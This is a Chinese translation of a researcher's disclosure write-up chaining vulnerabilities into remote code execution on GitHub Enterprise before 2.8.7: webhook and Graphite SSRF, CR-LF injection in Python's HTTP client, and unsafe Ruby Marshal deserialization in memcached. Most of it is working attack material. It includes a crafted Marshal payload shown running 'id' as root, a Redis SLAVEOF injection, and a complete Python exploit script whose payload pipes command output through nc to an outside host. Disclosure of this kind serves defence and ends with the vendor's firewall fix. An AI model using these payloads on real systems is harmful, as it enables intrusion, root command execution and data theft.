本文讲的是
我是如何在github企业版本上通过ssrf漏洞导致命令执行的?,
在我上一篇
文章
中,我提到了以后攻击的新目标-github企业版,同样也提到了如何去除混淆的ruby代码,并在其中寻找sql注入。再次之后,我就开始阅读很多大牛挖掘github企业版的思路
漏洞
第一个漏洞:无害的ssrf
https://<host>/<user>/<repo>/settings/hooks/new
http://orange.tw/foo.php
POST /foo.php HTTP/1.1 Host: orange.tw Accept: */* User-Agent: GitHub-Hookshot/54651ac X-GitHub-Event: ping X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f content-type: application/x-www-form-urlencoded Content-Length: 8972 payload=...
http://0/
1. 只能允许POST方法提交数据 2. 只允许http,https协议 3. 不存在302跳转 4. 在faraday中没有CR-LF注入 5. 不能控制post数据值,以及http访问头。
http://0:9200/_shutdown/
def send_email(request): try: recipients = request.GET['to'].split(',') url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() ...
http://0:8000/composer/send_email?to=orange@nogg&url=http://orange.tw:12345/foo
$ nc -vvlp 12345 ... GET /foo HTTP/1.1 Host: orange.tw:12345 Accept-Encoding: identity
第三个漏洞 python中CR-LF注入
http://0:8000/composer/send_email?to=orange@nogg&url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo:
http://0:8000/composer/send_email? to=orange@nogg& url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A
1. 对Mysql,SSL,SSH这样的握手协议失效 2. 由于python2版本的原因,我们发送payload长度必须在0-0x8f字节之间。
第四个漏洞 不安全的反序列化
irb(main):001:0> GitHub.cache.class.superclass => Memcached::Rails irb(main):002:0> GitHub.cache.set("nogg", "hihihi") => true irb(main):003:0> GitHub.cache.get("nogg") => "hihihi" irb(main):004:0> GitHub.cache.get("nogg", :raw=>true) => "x04bI"vhihihix06:x06ET" irb(main):005:0> code = "`id`" => "`id`" irb(main):006:0> payload = "x04x08" + "o"+":x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"x07" + ":x0E@instance" + "o"+":x08ERB"+"x07" + ":x09@src" + Marshal.dump(code)[2..-1] + ":x0c@lineno"+ "ix00" + ":x0C@method"+":x0Bresult" => "u0004bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxya:u000E@instanceo:bERBa:t@srcI"t`id`u0006:u0006ET:f@linenoiu0000:f@method:vresult" irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true) => true irb(main):008:0> GitHub.cache.get("nogg") => "uid=0(root) gid=0(root) groups=0(root)n"
1. 第一个ssrf-绕过webhook现有的保护 2. 第二个ssrf-获得Graphite服务中的ssrf 3. 将两个ssrf进行嵌套,形成ssrf链 4. ssrf执行链中的CR-LF注入 5. 插入恶意marshal对象 6. 执行代码
#!/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "`id | nc orange.tw 12345`" p "x04x08" + "o"+":x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"x07" + ":x0E@instance" + "o"+":x08ERB"+"x07" + ":x09@src" + Marshal.dump(code)[2..-1] + ":x0c@lineno"+ "ix00" + ":x0C@method"+":x0Bresult" ''' marshal_code = 'x04x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxyx07:x0e@instanceo:x08ERBx07:t@srcI"x1e`id | nc orange.tw 12345`x06:x06ET:x0c@linenoix00:x0c@method:x0bresult' payload = [ '', 'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code), marshal_code, '', '' ] payload = map(quote, payload) url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/' print "nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org" print '-'*10 + 'n' print url + '%0D%0A'.join(payload) print ''' Inserting WebHooks from: https://ghe-server/:user/:repo/settings/hooks Triggering RCE from: https://ghe-server/search?q=ggggg&type=Repositories
'''
修复
$ cat /etc/ufw/before.rules ... -A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp-flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp-reset ...
原文发布时间为:2017年7月30日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。